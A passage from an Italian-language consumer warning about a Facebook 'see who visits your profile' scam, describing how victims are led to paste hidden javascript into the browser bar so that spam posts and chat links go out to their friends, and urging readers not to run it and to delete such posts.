mio profilo Guarda! Scopri chi visita il tuo profilo!" [LINK] Clicca sull'immagine per andare all'applicazione


Se si clicca sul link o sull'immagine si verrà rimandati ad un sito senza contenuto visuale che risiede su un server esterno al social network ed utilizzato per altre truffe su Facebook


dal quale verrà effettuato immediatamente il rimando automatico (redirect) ad una pagina all'interno di Facebook, dove si verrà invitati ad eseguire la solita procedura javascript:


Diversamente dalle "vecchie" truffe che chiedevano la condivisione della pagina questa ci chiederà di copiare un indirizzo sulla barra di navigazione, in maniera da eseguire un’applicazione java che manderà a nostro nome lo stesso messaggio in bacheca a tutti i nostri amici.  Esistono almeno 3 varianti di queste tipologie di truffe. La più semplice invia un post spam "soltanto" sulla nostra bacheca. Un'altra, oltre ad inviare lo spam sulla nostra bacheca, invia il post a tutti i nostri amici. La più complessa effettua le stesse operazioni delle precedenti con l'aggiunta dell'invio di un link attraverso la chat di Facebook a tutti gli amici collegati al momento dell'esecuzione del codice. Il rischio è tra l'altro quello di approdare su pagine "pericolose" ma non solo, infatti Facebook potrebbe inbire alcune funzionalità legate al vostro profilo. Inutile dirvi che nessun vi dirà chi guarda il vostro profilo, pertanto non eseguite alcun tipo di procedura, nè in questa occasione nè in altre truffe dove viene richiesto il copia/incolla sulla barra degli indirizzi del vostro browser mentre si è loggati su Facebook. Oppure, come in questo caso, se viene proposto di utilizzare la combinazione da tastiera CTRL + V e A per effettuare un copia-incolla del codice nascosto.Cancellate l'eventuale post sulla vostra bacheca ed avvertite i vostri amici. Come per il caso del falso video di Bin Laden, Facebook disattiva le pagine ma i post come è ovvio rimangono condivisi sulle bacheche degli utenti. Per ulteriori approfondimenti vi rimandiamo ad una delle prime truffe individuate. Gli javascript vengono utilizzati per ottenere una maggiore interattività delle pagine web, ma sempre più spesso diventano strumento di truffe.